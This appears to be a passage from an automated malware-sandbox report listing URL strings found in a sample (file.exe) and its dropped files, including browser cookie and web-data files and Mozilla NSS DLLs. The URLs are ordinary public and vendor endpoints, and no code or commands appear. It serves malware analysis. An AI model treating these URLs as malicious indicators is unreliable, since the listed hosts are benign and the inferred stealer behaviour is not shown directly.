Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_476.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_476.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_476.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_476.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374521668284665.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_476.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_475.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_475.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_475.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2588685393.000000002178B000.00000004.00000020.00020000.00000000.sdmp, DBGIJEHIIDGCFHIEGDGC.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BAAFBFBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: EHIJDHCA.0.dr, Web Data.9.dr, BAAFBFBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 76afb6dc-1065-477f-85ac-9ef81c09212b.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_475.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_475.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_476.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_476.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_476.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
